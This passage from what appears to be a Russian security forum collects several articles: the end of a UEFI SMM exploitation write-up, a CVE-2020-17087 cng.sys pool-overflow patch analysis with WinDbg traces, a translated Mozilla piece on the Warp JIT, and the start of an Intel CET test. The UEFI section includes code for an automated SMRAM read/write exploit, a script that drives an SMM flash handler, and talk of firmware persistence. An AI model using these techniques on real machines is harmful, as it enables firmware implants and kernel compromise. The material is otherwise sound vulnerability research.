Кстати, занимательный факт: в UEFI модулях SectionAlignment равняется FileAlignment (0x20), из-за чего все смещения внутри файла на диске совпадают со смещениями в образе модуля в памяти. Это сделано для экономии места в регионе SMRAM.
Базовый адрес получен. Дело за малым - определить функцию memcpy. В прошивках UEFI используется memcpy, которая реализована в EDK2 (она на самом деле называется CopyMem). Поэтому она должна совпадать у всех вендоров. Так что будет достаточно безопасно реализовать поиск функции по начальным опкодам.
Code:Copy to clipboard
import re
PUSH_RSI_PUSH_RDI = b'\x56\x57'
REP_MOVSQ = b'\xf3\x48\xa5'
# ищем rep movsq
for m in re.finditer(REP_MOVSQ, usbrt):
rep_off = m.start()
# теперь в обратном направлении push rsi; push rdi (начало функции)
entry_off = usbrt.rfind(PUSH_RSI_PUSH_RDI, 0, rep_off)
# на всякий случай проверяем разницу между найденными опкодами
if rep_off - entry_off > 0x40:
# не походит на правду, пропустим от греха подальше
continue
memcpy = imagebase + entry_off
break
Теперь в нашем арсенале полностью автоматизированный эксплоит, позволяющий не только исполнять код внутри SMRAM, но и произвольно читать и писать в любую область физической памяти.
Возможность свободно взаимодействовать с памятью SMRAM - это, конечно, здорово. Но без возможности закрепиться в прошивке полноценная атака не получится, поскольку после перезагрузки системы память сбросится, очевидно. Следующим шагом будет поиск возможности модифицировать прошивку, которая хранится в SPI флеш-памяти.
В первую очередь стоит ознакомиться с результатами тестов CHIPSEC, которые покажут наличие защитных функций флеш-памяти:
Code:Copy to clipboard
[*] running module: chipsec.modules.common.bios_wp
[x][ =======================================================================
[x][ Module: BIOS Region Write Protection
[x][ =======================================================================
[*] BC = 0x00000A8A << BIOS Control (b:d.f 00:31.5 + 0xDC)
[00] BIOSWE = 0 << BIOS Write Enable
[01] BLE = 1 << BIOS Lock Enable
[02] SRC = 2 << SPI Read Configuration
[04] TSS = 0 << Top Swap Status
[05] SMM_BWP = 0 << SMM BIOS Write Protection
[06] BBS = 0 << Boot BIOS Strap
[07] BILD = 1 << BIOS Interface Lock Down
[!] Enhanced SMM BIOS region write protection has not been enabled (SMM_BWP is not used)
[*] BIOS Region: Base = 0x00700000, Limit = 0x00FFFFFF
SPI Protected Ranges
------------------------------------------------------------
PRx (offset) | Value | Base | Limit | WP? | RP?
------------------------------------------------------------
PR0 (84) | 00000000 | 00000000 | 00000000 | 0 | 0
PR1 (88) | 00000000 | 00000000 | 00000000 | 0 | 0
PR2 (8C) | 00000000 | 00000000 | 00000000 | 0 | 0
PR3 (90) | 00000000 | 00000000 | 00000000 | 0 | 0
PR4 (94) | 00000000 | 00000000 | 00000000 | 0 | 0
[!] None of the SPI protected ranges write-protect BIOS region
[!] BIOS should enable all available SMM based write protection mechanisms or configure SPI protected ranges to protect the entire BIOS region
[-] FAILED: BIOS is NOT protected completely
По результатам тестов можно понять, что в системе действует защита BIOSWE=0 + BLE=1. Это означает, что стандартными функциями записи во флеш-память (доступны в CHIPSEC) у нас не получится что-либо изменить в прошивке. Механизм SPI Protected Ranges не сконфигурирован на этой системе. Это значит, что мы могли бы внести изменения при помощи модуля SMM. Однако, есть еще два механизма, которые могут помешать нам это сделать.
CHIPSEC не может проверить наличие этих механизмов, но в нашей системе они
существуют. Эти механизмы - Intel BIOS Guard и Intel Boot Guard. Первый
механизм не даст нам произвести запись в кодовые регионы BIOS, а второй, при
условии, что мы все же смогли переписать BIOS, не позволит модифицированной
прошивке загрузиться при запуске системы.
Но мы все же рассмотрим как можно работать с SPI посредством SMM-драйвера.
Возвращаемся к UEFITool и ищем модуль, название которого как-то связано с Flash и SMI. Идеальным кандидатом является модуль FlashSmiSmm. При его детальном изучении в дизассемблере может сложиться впечатление, что он не регистрирует никаких software прерываний, в нем даже EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID не фигурирует! На самом деле этот модуль регистрирует другой тип software прерывания, который называется ACPI SMI. Чтобы определить место регистрации ACPI SMI в IDA Pro можно воспользоваться функцией "List cross references to..." на поле EFI_SMM_SYSTEM_TABLE2.SmiHandlerRegister в окне структур.
Модуль регистрирует один ACPI SMI, предварительно считав UEFI переменную
"FlashSmiBuffer", название которой недвусмысленно говорит о том, что в
переменной хранится указатель на буфер для работы с флеш-памятью.
Конкретный ACPI SMI идентифицируется своим GUID, который указывается вторым
аргументом функции SmiHandlerRegister (HandlerType). В нашем случае это
4052aca8-8d90-4f5a-bfe8-b895b164e482. Он нам далее понадобится. Теперь
рассмотрим непосредственно саму функцию обработчика.
FlashSmiBuffer действительно используется для передачи задачи и аргументов.
Если переключить отображение констант на символьное представление, то всё
становится более менее очевидно:
Осталось лишь написать прототип для работы с SPI флеш-памятью, учитывая то, что обработчик реализован в виде ACPI SMI.
Code:Copy to clipboard
HANDLER_GUID = '4052aca8-8d90-4f5a-bfe8-b895b164e482'
flash_addr = 0x200000
size = 0x1000
output = mem_alloc(size, 0xffffffff)[1]
smi_buffer = unpack('<Q', cs.helper.get_EFI_variable('FlashSmiBuffer', HANDLER_GUID))[0]
mem_write(smi_buffer, 4, b'FSMI') # сигнатура
mem_write(smi_buffer + 0x28, 2, b'uF') # команда чтения с флеш-памяти
mem_write(smi_buffer + 4, 4, pack('<I', flash_addr)) # адрес флеш-памяти
mem_write(smi_buffer + 0x18, 4, pack('<I', size)) # размер
mem_write(smi_buffer + 0x90, 4, pack('<I', output)) # выходной буфер
intr = Interrupts(cs)
intr.send_ACPI_SMI(0, 1, intr.find_ACPI_SMI_Buffer(), None, HANDLER_GUID, '')
Таким незатейливым способом мы смогли заставить SMM драйвер прочитать для нас часть прошивки.
Препарировать UEFI BIOS довольно интересно, хоть и немного однообразно. Когда надоест искать и находить RCE в SMM, можно переключиться на BIOS Guard и Boot Guard, в которых тоже можно найти кучку уязвимостей, а сам процесс поиска доставит кучу удовольствия. А если и это надоест, то самое время переключиться на изучение самого сложного, что можно найти в современных PC - Intel ME.
Введение
В этой статье я хотел бы описать процесс анализа патча для CVE-2020-17087. Несмотря на то, что уязвимость не самая свежая, читателям форума может быть интересно то, как Майкрософт исправляет свои ошибки с целью более быстрого анализа последующих исправлений. Может быть даже кто-то захочет создать модель уязвимости, написать ее на IDAPython и найти новые зеродеи. Я же в свою очередь постарался описать детали достаточно подробно, сопроводив листинги комментариями.
Сведения об уязвимости
Уязвимость [CVE-2020-17087](https://msrc.microsoft.com/update-
guide/vulnerability/CVE-2020-17087) находится в драйвере cng.sys , который
экспортирует функции, отвечающие за криптографию.
[Подробнее](https://docs.microsoft.com/en-us/windows/win32/seccng/cng-
cryptographic-configuration-functions).
Согласно [отчету](https://bugs.chromium.org/p/project-
zero/issues/detail?id=2104) P0
ошибка содержится в функции CfgAdtpFormatPropertyBlock
при обработке
16-битовых чисел и является целочисленным переполнением, которое приводит к
переполнению пула ядра. Т.е. атакующий может контролировать размер буфера из
пользовательского режима, обратившись к драйверу по IOCTL 0x390400
.
Анализ патча
Для анализа патчей я использую BinDiff. На мой взгляд, это самый быстрый и удобный инструмент для своих нужд, несмотря на его "прожорливость" по отношению к оперативной памяти. В соседней ветке я описал некоторые проблемы, с которыми могут столкнуться новые пользователи. Настоятельно рекомендую ее прочитать.
Патч для уязвимости был добавлен в версии Windows 20H2 19042.630 , поэтому
для сравнения я взял файлы cng.sys
версий 19042.572
и 19042.630
соответственно. На скриншоте ниже мы можем видеть, что изменена была одна
функция CfgAdtpFormatPropertyBlock
.
Также была добавлена функция RtlUSortMult()
, которая осуществляет проверку
16-битовых чисел перед вызовом функции BCryptAlloc()
и предотвращает
переполнение, возвращая в этом случае ошибку с кодом
STATUS_INTEGER_OVERFLOW
.
На листинге декомпилятора ниже мы можем видеть исправленную версию функции
CfgAdtpFormatPropertyBlock
.
Функция RtlUShortMult
возвращает указатель на результат произведения двух
чисел, сохраненного в переменной p_mult_result
.
Теперь вернемся к дизассемблерному листингу уязвимой версии драйвера.
В начале функция проверяет регистры rcx
, bp
, r8
на равенство нулю и
возвращает STATUS_INVALID_PARAMETER
, если утвереждение верно
(распространенная проверка). Т.е. можем предположить, что аргументы функции
хранятся именно в этих регистрах. Нас интересует регистр bp
, который имеет
размер 16 бит. Его мы и можем контролировать. После подсчета размера входящего
буфера происходит выделение неисполняемого невыгружаемого пула ядра с помощью
функции BCryptAlloc
равного количеству байт, записанных в ecx
из di
.
BCryptAlloc
является лишь оберткой для функции ExAllocatePoolWithTag
. В
передаваемых аргументах мы можем видеть тег Cngb
или 0x62676E43
, с которым
происходит выделение чанков.
По указателю rax
мы можем видеть выделенный чанк размером 0x10
байт после
вызова BCryptAlloc(0x2aac)
. Судя по всему, Pool Manager не может
выделить меньше 16 байт под чанк, т.к. в нашем случае должно было выделиться 8
байт из-за целочисленного переполнения.
(0x2aac * 0x6) - (0xffff + 0x1) = 0x8
.
Code:Copy to clipboard
2: kd> ? @rax
Evaluate expression: -140676885522480 = ffff800e`1c35d7d0
2: kd> dt nt!_pool_header (@rax - 0x10)
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
+0x002 BlockSize : 0y00000010 (0x2)
+0x002 PoolType : 0y00000010 (0x2)
+0x000 Ulong1 : 0x2020000
+0x004 PoolTag : 0x62676e43
+0x008 ProcessBilled : 0x2ecfaa1a`b58a06e6 _EPROCESS
+0x008 AllocatorBackTraceIndex : 0x6e6
+0x00a PoolTagHash : 0xb58a
Code:Copy to clipboard
2: kd> u
cng!CfgAdtpFormatPropertyBlock+0x6b:
fffff801`59be24c7 663bdd cmp bx,bp
fffff801`59be24ca 7343 jae cng!CfgAdtpFormatPropertyBlock+0xb3 (fffff801`59be250f)
fffff801`59be24cc 4c8bc5 mov r8,rbp
fffff801`59be24cf 4c8d159a590300 lea r10,[cng!`string'+0x18 (fffff801`59c17e70)]
fffff801`59be24d6 410fb606 movzx eax,byte ptr [r14]
fffff801`59be24da 48c1e804 shr rax,4
fffff801`59be24de 420fb60410 movzx eax,byte ptr [rax+r10]
fffff801`59be24e3 668901 mov word ptr [rcx],ax
2: kd> ? @bx
Evaluate expression: 0 = 00000000`00000000
2: kd> ? @bp
Evaluate expression: 10924 = 00000000`00002aac
После проверки размера буфера в r8
сохраняется длина, а в r10
передается
указатель на массив.
Code:Copy to clipboard
2: kd> db @r10
fffff801`59c17e70 30 31 32 33 34 35 36 37-38 39 61 62 63 64 65 66 0123456789abcdef
fffff801`59c17e80 54 00 4c 00 53 00 5f 00-45 00 43 00 44 00 48 00 T.L.S._.E.C.D.H.
fffff801`59c17e90 45 00 5f 00 45 00 43 00-44 00 53 00 41 00 5f 00 E._.E.C.D.S.A._.
fffff801`59c17ea0 57 00 49 00 54 00 48 00-5f 00 41 00 45 00 53 00 W.I.T.H._.A.E.S.
fffff801`59c17eb0 5f 00 31 00 32 00 38 00-5f 00 43 00 42 00 43 00 _.1.2.8._.C.B.C.
fffff801`59c17ec0 5f 00 53 00 48 00 41 00-32 00 35 00 36 00 5f 00 _.S.H.A.2.5.6._.
fffff801`59c17ed0 50 00 32 00 35 00 36 00-00 00 00 00 00 00 00 00 P.2.5.6.........
fffff801`59c17ee0 54 00 4c 00 53 00 5f 00-45 00 43 00 44 00 48 00 T.L.S._.E.C.D.H.
На этом этапе мы переходим в цикл по смещению loc_1C00624D6
.
В r14
находится указатель на большой NonPagedPool
размером 0x3ab0
байт.
Code:Copy to clipboard
2: kd> db @r14
ffff800e`1c708000 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff800e`1c708010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff800e`1c708020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff800e`1c708030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff800e`1c708040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff800e`1c708050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff800e`1c708060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff800e`1c708070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
2: kd> !pool @r14
Pool page ffff800e1c708000 region is Nonpaged pool
ffff800e1c707000 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
*ffff800e1c707000 : large page allocation, tag is Cngb, size is 0x3ab0 bytes
Pooltag Cngb : CNG kmode crypto pool tag, Binary : ksecdd.sys
После первой итерации цикла мы можем видеть, что в чанк пула происходит
копирование из массива шестнадцатиричных значений в формате hex_byte + 0x00 + hex_byte + 0x00 + 0x20 + 0x00
. Далее проиходит декремент размера, который мы
передавали в полезную нагрузку и цикл повторяется до тех пор, пока все `0x2aac
Code:Copy to clipboard
2: kd> db @rcx -0x4
ffff800e`1c35d7d0 30 00 30 00 20 00 00 00-00 00 00 00 00 00 00 00 0.0. ...........
ffff800e`1c35d7e0 00 00 02 02 49 6f 43 63-c6 a6 54 b0 1a aa cf 2e ....IoCc..T.....
ffff800e`1c35d7f0 00 5e 0a 1c 0e 80 ff ff-a0 37 49 08 ff 7f 00 00 .^.......7I.....
Мы добрались до третьей итерации, на которой перезаписываем поля структуры
_POOL_HEADER
следующего чанка, в моем случае, с тегом IoCc
, что должно
вызвать BSOD c ошибкой BAD_POOL_HEADER
или PAGE_FAULT_IN_NONPAGED_AREA
при
записи в невалидную память. Стоит отметить, что PoC работает нестабильно и
может вызывать ошибки в других драйверах. Также, я сталкивался с тем, что при
использовании Driver Verifier , PoC вообще не срабатывал. Возможно, это
как-то связано с особенностями [специального
пула](https://docs.microsoft.com/en-us/windows-
hardware/drivers/debugger/special-pool).
Code:Copy to clipboard
2: kd> db @rcx - 0x12
ffff800e`1c35d7d0 30 00 30 00 20 00 30 00-30 00 20 00 30 00 30 00 0.0. .0.0. .0.0.
ffff800e`1c35d7e0 20 00 02 02 49 6f 43 63-c6 a6 54 b0 1a aa cf 2e ...IoCc..T.....
ffff800e`1c35d7f0 00 5e 0a 1c 0e 80 ff ff-a0 37 49 08 ff 7f 00 00 .^.......7I.....
ffff800e`1c35d800 00 00 02 02 49 6f 43 63-00 00 00 00 00 00 00 00 ....IoCc........
ffff800e`1c35d810 00 5e 0a 1c 0e 80 ff ff-a0 37 49 08 ff 7f 00 00 .^.......7I.....
ffff800e`1c35d820 00 00 02 02 56 69 30 33-00 00 00 00 00 00 00 00 ....Vi03........
ffff800e`1c35d830 01 00 00 00 ff ff ff ff-00 00 00 00 00 00 00 00 ................
ffff800e`1c35d840 00 00 02 02 44 78 67 4b-00 00 00 00 00 00 00 00 ....DxgK........
Анализ крэш-дампа
После загрузки полного ядерного дампа в отладчик и, выполнив analyze -v
, мы
можем видеть полезуню информацию для анализа.
Code:Copy to clipboard
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffa50ab81f8000, memory referenced.
Arg2: 0000000000000002, value 0 = read operation, 1 = write operation.
Arg3: fffff80330cb2503, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
В Arg1
содержится указатель на память, куда происходит копирование данных.
Как уже сказано в описании ошибки, скорее всего это освободившаяся страница
памяти, куда мы пытаемся обратиться. Предыдущую валидную страницу,
начинающуюся с 0xffffa50ab81f7000
мы практически полностью переписали.
Code:Copy to clipboard
3: kd> db ffffa50ab81f7000 L100
ffffa50a`b81f7000 98 5d c0 ae 0a a5 ff ff-00 d0 6f b6 0a a5 ff ff .]........o.....
ffffa50a`b81f7010 80 5d c0 ae 0a a5 ff ff-00 00 00 00 00 00 00 00 .]..............
ffffa50a`b81f7020 3a 00 7d 00 11 00 00 00-7a 1d f1 56 0c 01 50 00 :.}.....z..V..P.
ffffa50a`b81f7030 54 55 50 55 51 55 55 14-15 54 55 55 15 55 01 00 TUPUQUU..TUU.U..
ffffa50a`b81f7040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 fc ................
ffffa50a`b81f7050 01 00 a5 ee 83 d0 ff ff-01 f0 a5 ee 83 d0 ff ff ................
ffffa50a`b81f7060 00 00 02 02 4d 6d 52 6c-00 00 00 00 00 00 00 00 ....MmRl........
ffffa50a`b81f7070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffa50a`b81f7080 00 00 02 02 43 6e 67 62-00 00 00 00 00 00 00 00 ....Cngb........
ffffa50a`b81f7090 30 00 30 00 20 00 30 00-30 00 20 00 30 00 30 00 0.0. .0.0. .0.0.
ffffa50a`b81f70a0 20 00 30 00 30 00 20 00-30 00 30 00 20 00 30 00 .0.0. .0.0. .0.
ffffa50a`b81f70b0 30 00 20 00 30 00 30 00-20 00 30 00 30 00 20 00 0. .0.0. .0.0. .
ffffa50a`b81f70c0 30 00 30 00 20 00 30 00-30 00 20 00 30 00 30 00 0.0. .0.0. .0.0.
ffffa50a`b81f70d0 20 00 30 00 30 00 20 00-30 00 30 00 20 00 30 00 .0.0. .0.0. .0.
Несмотря на то, что есть очевидный примитив на запись, я пока не могу сообразить как его можно использовать т.к. содержимое чанка мы не контролируем. Возможно, это будет в следующей части наряду с разбором PoC и части драйвера.
13 Ноября 2020
Введение
Мы включили Warp, значительное обновление в SpiderMonkey, по умолчанию начиная с Firefox 83. SpiderMonkey это javascript движок в составе веб браузера Firefox.
С Warp (или WarpBuilder) мы внесли значительные изменения в JIT компиляторы, что улучшило отзывчивость, скорость загрузки страниц и оптимальное использование памяти. Новую архитектуру проще обслуживать и она открывает дополнительные улучшения SpiderMonkey.
В этой статье мы объясним как работает Warp и как он делает SpiderMonkey (SM) быстрее.
**Как работает Warp
Несколько JIT компиляторов**
Первым этапом выполнения js кода, является парсинг исходника в байткод. Байткод может быть тут же выполнен интерпретатором или скомпилирован в нативный код JIT компилятором. Современные js движки содержат многоуровневую архитектуру.
Js функции могут переключаться между уровнями, если это переключение выиграет в производительности:
Интерпретаторы и базовые JIT компиляторы умеют быстро компилировать, используя
незначительную оптимизацию кода (в основном Inline Caches) и собирают данные
профилирования.
Оптимизирующие JIT компиляторы применяют продвинутые оптимизации кода, но
компилируют код намного дольше и используют больше памяти, поэтому
используются для теплых\горячих js функций (вызывающихся много раз).
Оптимизирующие JIT делают предположения на основе данных профилирования, собранных другими уровнями. Елси предположения оказываются неверными, оптимизированный код отвергается. Выполнение функции возвращается на базовые уровни и должна снова стать теплой (этот процесс называется bailout).
Для SM упрощенно это выглядит так:
Данные профилирования
Ion, предыдущий оптимизирующий JIT, использовал две разные системы для сбора информации о профилировании, которую использовал, как руководство для выполнения оптимизаций. Первая система Type Inference (TI), которая собирает глобальную информацию о типах объектов используемых в js коде. Вторая система CacheIR, простой формат байткода, использующийся базовым интерпретатором и базовым JIT компилятором, как фундаментальный примитив оптимизации. Ion в основном полагается на TI, но иногда использует информацию CacheIR, когда данные TI недоступны.
В Warp мы изменили наш оптимизирующий JIT, чтобы полагаться исключительно на данные CacheIR, собранные на базовых уровнях.
Вот как это выглядит:
![](/proxy.php?image=https%3A%2F%2Fweb.archive.org%2Fweb%2F20201125094153im_%2Fhttps%3A%2F%2Fhacks.mozilla.org%2Ffiles%2F2020%2F11%2Fwarp-
diagram-reduced2-500x383.png&hash=f7006e656f51d01320a3694d04fa699a)
Здесь много информации, но следует отметить, что мы заменили интерфейс IonBuilder (обведен красным) на более простой интерфейс WarpBuilder (обведен зеленым). IonBuilder и WarpBuilder создают Ion MIR, промежуточное представление, используемое оптимизирующим JIT бэкэндом.
Там, где IonBuilder использовал данные TI, собранные со всего движка, для генерации MIR, WarpBuilder генерирует MIR, используя тот же CacheIR, который базовый интерпретатор и базовый JIT используют для генерации встроенных кэшей (IC). Как мы увидим ниже, более тесная интеграция между Warp и нижними уровнями имеет несколько преимуществ.
Как работает CacheIR
Рассмотрим следующую JS-функцию:
JavaScript:Copy to clipboard
function f(o) {
return o.x - 1;
}
Baseline Interpreter и Baseline JIT используют для этой функции два встроенных кэша: один для доступа к свойству (o.x), а другой для вычитания. Это потому, что мы не можем оптимизировать эту функцию, не зная типов o и o.x.
IC для доступа к свойству, o.x, будет вызываться со значением o. Затем он может присоединить заглушку IC (небольшой фрагмент машинного кода) для оптимизации этой операции. В SpiderMonkey это работает так что, сначала генерируется CacheIR (простой линейный формат байт-кода, вы можете рассматривать его как рецепт оптимизации). Например, если o - объект, а x - свойство с простыми данными, мы генерируем это:
Code:Copy to clipboard
GuardToObject inputId 0
GuardShape objId 0, shapeOffset 0
LoadFixedSlotResult objId 0, offsetOffset 8
ReturnFromIC
Здесь мы сначала убеждаемся, что вход (o) - это объект, затем мы проверяем форму объекта (которая определяет свойства и макет объекта), а затем мы загружаем значение o.x из слотов объекта.
Обратите внимание, что форма и индекс свойства в массиве слотов хранятся в отдельном разделе данных, а не встроены в сам код CacheIR или IC. CacheIR обращается к смещениям этих полей с помощью shapeOffset и offsetOffset. Это позволяет множеству разных заглушек IC совместно использовать один и тот же сгенерированный код, уменьшая накладные расходы на компиляцию.
Затем IC компилирует этот фрагмент CacheIR в машинный код. Теперь Baseline Interpreter и Baseline JIT могут быстро выполнить эту операцию, не вызывая код C ++.
IC вычитания работает точно так же. Если o.x является значением int32, IC вычитания будет вызвана с двумя значениями int32, и IC сгенерирует следующий CacheIR для оптимизации этого случая:
Code:Copy to clipboard
GuardToInt32 inputId 0
GuardToInt32 inputId 1
Int32SubResult lhsId 0, rhsId 1
ReturnFromIC
Это означает, что сначала мы проверяем, что левая часть это значения int32, затем правую часть, а затем мы можем выполнить вычитание int32 и вернуть результат из заглушки IC в функцию.
Инструкции CacheIR фиксируют все, что нам нужно, чтобы сделать оптимизацию операции. У нас есть несколько сотен инструкций CacheIR, определенных в файле YAML. Это строительные блоки для нашего конвейера JIT-оптимизации.
Warp: Транспиляция CacheIR в MIR
Если функция JS вызывается много раз, мы хотим скомпилировать ее с помощью оптимизирующего компилятора. В Warp есть три шага:
WarpOracle: запускается в основном потоке, создает моментальный снимок, содержащий данные Baseline CacheIR.
WarpBuilder: запускается вне потока, строит MIR из снимка.
Оптимизирующий JIT бэкэнд: также работает вне потока, оптимизирует MIR и генерирует машинный код.
Фаза WarpOracle выполняется в основном потоке и выполняется очень быстро. Фактическое построение MIR может быть выполнено в фоновом потоке. Это улучшение по сравнению с IonBuilder, где нам приходилось строить MIR на основном потоке, потому что он полагался на множество глобальных структур данных для Type Inference.
WarpBuilder имеет транспилятор для переноса CacheIR в MIR. Это механический процесс: для каждой инструкции CacheIR он просто генерирует соответствующие инструкции MIR.
Собирая все это вместе, мы получаем следующую картину:
Нам очень понравился этот дизайн: когда мы вносим изменения в инструкции CacheIR, это автоматически влияет на все наши уровни JIT (см. Синие стрелки на рисунке выше). Warp просто объединяет байт-код функции и инструкции CacheIR в единый граф MIR.
У нашего старого конструктора MIR (IonBuilder) было много сложного кода, который нам не нужен в WarpBuilder, потому что вся семантика JS захватывается данными CacheIR, которые нам также нужны для IC.
Пробное встраивание: специализирующиеся на типах встроенные функции
Оптимизирующие JavaScript JIT могут встраивать функции JavaScript в вызывающие функции. С Warp мы делаем еще один шаг вперед: Warp также может специализировать встроенные функции на стороне вызывающего.
Снова рассмотрим наш пример функции:
JavaScript:Copy to clipboard
function f(o) {
return o.x - 1;
}
Эта функция может быть вызвана из нескольких мест, каждое из которых передает различную форму объекта или разные типы для o.x. В этом случае встроенные кэши будут иметь полиморфные заглушки CacheIR IC, даже если каждый из вызывающих абонентов передает только один тип. Если мы встроим функцию в Warp, мы не сможем оптимизировать ее так, как нам хотелось бы.
Чтобы решить эту проблему, мы ввели новую оптимизацию под названием Trial Inlining. Каждая функция имеет ICScript, в котором хранятся данные CacheIR и IC для этой функции. Прежде чем мы Warp-компилируем функцию, мы сканируем Baseline IC в этой функции для поиска вызовов встроенных функций. Для каждого места вызова мы создаем новый ICScript для вызываемой функции. Каждый раз, когда мы вызываем встраиваемого кандидата, вместо использования ICScript по умолчанию для вызываемого мы передаем новый специализированный ICScript. Это означает, что Baseline Interpreter, Baseline JIT и Warp теперь будут собирать и использовать информацию, специально предназначенную для этого места вызова.
Пробное встраивание очень мощная техника, поскольку работает рекурсивно. Например, рассмотрим следующий код JS:
JavaScript:Copy to clipboard
function callWithArg(fun, x) {
return fun(x);
}
function test(a) {
var b = callWithArg(x => x + 1, a);
var c = callWithArg(x => x - 1, a);
return b + c;
}
Когда мы выполняем пробное встраивание для функции test, мы сгенерируем специализированный ICScript для каждого из вызовов callWithArg. Позже мы пробуем рекурсивное пробное встраивание в эти функции callWithArg, специализированные для вызывающего, и затем можем специализировать вызов fun на основе вызывающего. В IonBuilder это было невозможно.
Когда приходит время Warp-компиляции тестовой функции, у нас есть данные CacheIR, специализированные для вызывающего, и мы можем сгенерировать оптимальный код.
Это означает, что мы создаем встраиваемый граф до того, как функции будут скомпилированы Warp, путем (рекурсивной) специализации данных Baseline IC на местах вызовов. Затем Warp просто встраивает на основе этого, не нуждаясь в собственной эвристике встраивания.
Оптимизация встроенных функций
IonBuilder мог напрямую встраивать определенные встроенные функции. Это особенно полезно для таких вещей, как Math.abs и Array.prototype.push, потому что мы можем реализовать их с помощью нескольких машинных инструкций, и это намного быстрее, чем вызов функции.
Поскольку Warp управляется CacheIR, мы решили создать оптимизированный CacheIR для вызовов этих функций.
Это означает, что эти встроенные модули теперь также должным образом оптимизированы с помощью заглушек IC в нашем Baseline Interpreter и JIT. Новый дизайн ведет нас к генерированию правильных инструкций CacheIR, которые затем приносят пользу не только Warp, но и всем нашим уровням JIT.
Например, давайте посмотрим на вызов Math.pow с двумя аргументами int32. Мы генерируем следующий CacheIR:
Code:Copy to clipboard
LoadArgumentFixedSlot resultId 1, slotIndex 3
GuardToObject inputId 1
GuardSpecificFunction funId 1, expectedOffset 0, nargsAndFlagsOffset 8
LoadArgumentFixedSlot resultId 2, slotIndex 1
LoadArgumentFixedSlot resultId 3, slotIndex 0
GuardToInt32 inputId 2
GuardToInt32 inputId 3
Int32PowResult lhsId 2, rhsId 3
ReturnFromIC
Во-первых, мы следим за тем, чтобы вызываемый объект был встроенной функцией pow. Затем мы загружаем два аргумента и мы следим за тем, что они типа int32. Затем мы выполняем операцию pow, специализированную для двух аргументов int32, и возвращаем результат из заглушки IC.
Кроме того, инструкция Int32PowResult CacheIR также используется для оптимизации оператора возведения в степень JS x ** y. Для этого оператора мы можем сгенерировать:
Code:Copy to clipboard
GuardToInt32 inputId 0
GuardToInt32 inputId 1
Int32PowResult lhsId 0, rhsId 1
ReturnFromIC
Когда мы добавили поддержку транспилятора Warp для Int32PowResult, Warp смог оптимизировать как оператор возведения в степень, так и Math.pow без дополнительных изменений. Это хороший пример того, как CacheIR предоставляет строительные блоки, которые можно использовать для оптимизации различных операций.
Окончание статьи относится к описанию результатов тестирования на бенчмарках, и не относится к устройству Warp. Желающие могут посмотреть в оригинале.
Перевод - sploitem
Источник - [https://web.archive.org/web/2020112...1/warp-improved-js-
performance-in-
firefox-83/](https://web.archive.org/web/20201125094153/https://hacks.mozilla.org/2020/11/warp-
improved-js-performance-in-firefox-83/)
Intel CET в действии.
29 Апреля 2021
Частью нашего цикла обновлений курса Advanced Windows Exploitation, является оценка новых техник защит, чтобы понимать, как они работают и как их обойти.
Некоторые из наших исследований для грядущих обновлений курса были сфокусированы на защите с названием Control-flow Enforcement Technology (CET) от Intel. Одной из причин, почему мы решили исследовать CET, было то, что эту защиту называли концом ROP и уязвимостей переполнений буффера в стэке.
Сегодня, большинство эксплойтов против серверных и клиентских приложений используют return oriented programming (ROP).
На момент написания статьи, прошло 6 месяцев с даты релиза CET. Мы проанализируем насколько эффективно CET противостоит реальным эксплойтам, использующим ROP или уязвимости BOF (buffer overflow).
INTEL CONTROL-FLOW ENFORCEMENT TECHNOLOGY
Начнем с анализа существующих исследований о реализации CET в Windows. Используем менее академичный подход, анализируя где и как CET вмешивается в работу эксплойтов.
CET была разработана, как защита с аппаратной поддержкой, но она должна быть включена программно. CET состоит из двух компонентов.
Первый компонент называется Indirect Branch Tracking (IBT), защищает vtable от перезаписи. Microsoft решили не использовать IBT в Windows 10. Вместо этого они полагаются на Control Flaw Guard и на предстоящий eXtended Flow Guard.
Второй компонент, Shadow Stack, не позволяет менять адрес возврата. Во время BOF эксплойты меняют адрес возврата, попадающий в EIP\RIP. ROP тоже зависит от адреса возврата, поэтому Shadow Stack защищает и от этого.
Чтобы показать SS на практики, мы настроили ПК с ЦПУ 11-го поколения и WinDbg.
Подключились к процессу с CET и изменили адрес возврата.
Code:Copy to clipboard
(3208.58f8): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ff9`57ad0700 cc int 3
0:018> k
# Child-SP RetAddr Call Site
00 000000e4`e4fffca8 00007ff9`57afc84e ntdll!DbgBreakPoint
01 000000e4`e4fffcb0 00007ff9`55b47034 ntdll!DbgUiRemoteBreakin+0x4e
02 000000e4`e4fffce0 00007ff9`57a82651 KERNEL32!BaseThreadInitThunk+0x14
03 000000e4`e4fffd10 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:018> dqs @rsp L1
000000e4`e4fffca8 00007ff9`57afc84e ntdll!DbgUiRemoteBreakin+0x4e
0:018> eq 000000e4`e4fffca8 414141414141
0:018> k
# Child-SP RetAddr Call Site
00 000000e4`e4fffca8 00004141`41414141 ntdll!DbgBreakPoint
01 000000e4`e4fffcb0 00000000`00000000 0x00004141`41414141
0:018> p
ntdll!DbgBreakPoint+0x1:
00007ff9`57ad0701 c3 ret
0:018> p
(3208.58f8): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
Subcode: 0x39 FAST_FAIL_CONTROL_INVALID_RETURN_ADDRESS Shadow stack violation
ntdll!DbgBreakPoint+0x1:
